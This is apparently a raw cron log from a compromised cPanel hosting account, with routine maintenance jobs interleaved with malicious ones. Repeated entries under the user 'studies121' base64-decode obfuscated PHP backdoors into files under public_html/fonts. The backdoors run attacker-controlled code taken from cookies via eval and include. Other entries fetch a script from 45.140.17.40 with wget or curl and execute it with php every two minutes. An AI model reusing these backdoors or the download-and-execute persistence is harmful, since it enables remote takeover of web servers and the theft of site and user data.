Sep  3 18:02:01 ip-184-168-122-23 CROND[11071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:03:01 ip-184-168-122-23 CROND[11162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:03:01 ip-184-168-122-23 CROND[11161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:03:01 ip-184-168-122-23 CROND[11163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:03:01 ip-184-168-122-23 CROND[11160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:04:01 ip-184-168-122-23 CROND[11259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:04:01 ip-184-168-122-23 CROND[11262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:04:01 ip-184-168-122-23 CROND[11263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:04:01 ip-184-168-122-23 CROND[11264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:04:01 ip-184-168-122-23 CROND[11261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:05:01 ip-184-168-122-23 CROND[11356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:05:01 ip-184-168-122-23 CROND[11359]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 18:05:01 ip-184-168-122-23 CROND[11362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:05:01 ip-184-168-122-23 CROND[11366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:05:01 ip-184-168-122-23 CROND[11364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:05:01 ip-184-168-122-23 CROND[11367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:05:01 ip-184-168-122-23 CROND[11368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:06:01 ip-184-168-122-23 CROND[11521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:06:01 ip-184-168-122-23 CROND[11523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:06:01 ip-184-168-122-23 CROND[11525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:06:01 ip-184-168-122-23 CROND[11526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:06:01 ip-184-168-122-23 CROND[11524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:07:01 ip-184-168-122-23 CROND[11615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:07:01 ip-184-168-122-23 CROND[11617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:07:01 ip-184-168-122-23 CROND[11619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:07:01 ip-184-168-122-23 CROND[11618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:08:01 ip-184-168-122-23 CROND[11696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:08:01 ip-184-168-122-23 CROND[11697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:08:01 ip-184-168-122-23 CROND[11701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:08:01 ip-184-168-122-23 CROND[11703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:08:01 ip-184-168-122-23 CROND[11702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:09:02 ip-184-168-122-23 CROND[11784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:09:02 ip-184-168-122-23 CROND[11786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:09:02 ip-184-168-122-23 CROND[11789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:09:02 ip-184-168-122-23 CROND[11787]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 18:09:02 ip-184-168-122-23 CROND[11788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:10:01 ip-184-168-122-23 CROND[11881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:10:01 ip-184-168-122-23 CROND[11883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:10:01 ip-184-168-122-23 CROND[11886]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:10:01 ip-184-168-122-23 CROND[11884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:10:01 ip-184-168-122-23 CROND[11885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:10:01 ip-184-168-122-23 CROND[11889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:10:01 ip-184-168-122-23 CROND[11887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:10:01 ip-184-168-122-23 CROND[11888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:11:01 ip-184-168-122-23 CROND[11991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:11:01 ip-184-168-122-23 CROND[11994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:11:01 ip-184-168-122-23 CROND[11993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:11:01 ip-184-168-122-23 CROND[11996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:12:01 ip-184-168-122-23 CROND[12175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:12:01 ip-184-168-122-23 CROND[12177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:12:01 ip-184-168-122-23 CROND[12180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:12:01 ip-184-168-122-23 CROND[12181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:12:01 ip-184-168-122-23 CROND[12182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:13:01 ip-184-168-122-23 CROND[12274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:13:01 ip-184-168-122-23 CROND[12277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:13:01 ip-184-168-122-23 CROND[12275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:13:01 ip-184-168-122-23 CROND[12276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:14:01 ip-184-168-122-23 CROND[12352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:14:01 ip-184-168-122-23 CROND[12353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:14:01 ip-184-168-122-23 CROND[12356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:14:01 ip-184-168-122-23 CROND[12357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:14:01 ip-184-168-122-23 CROND[12359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
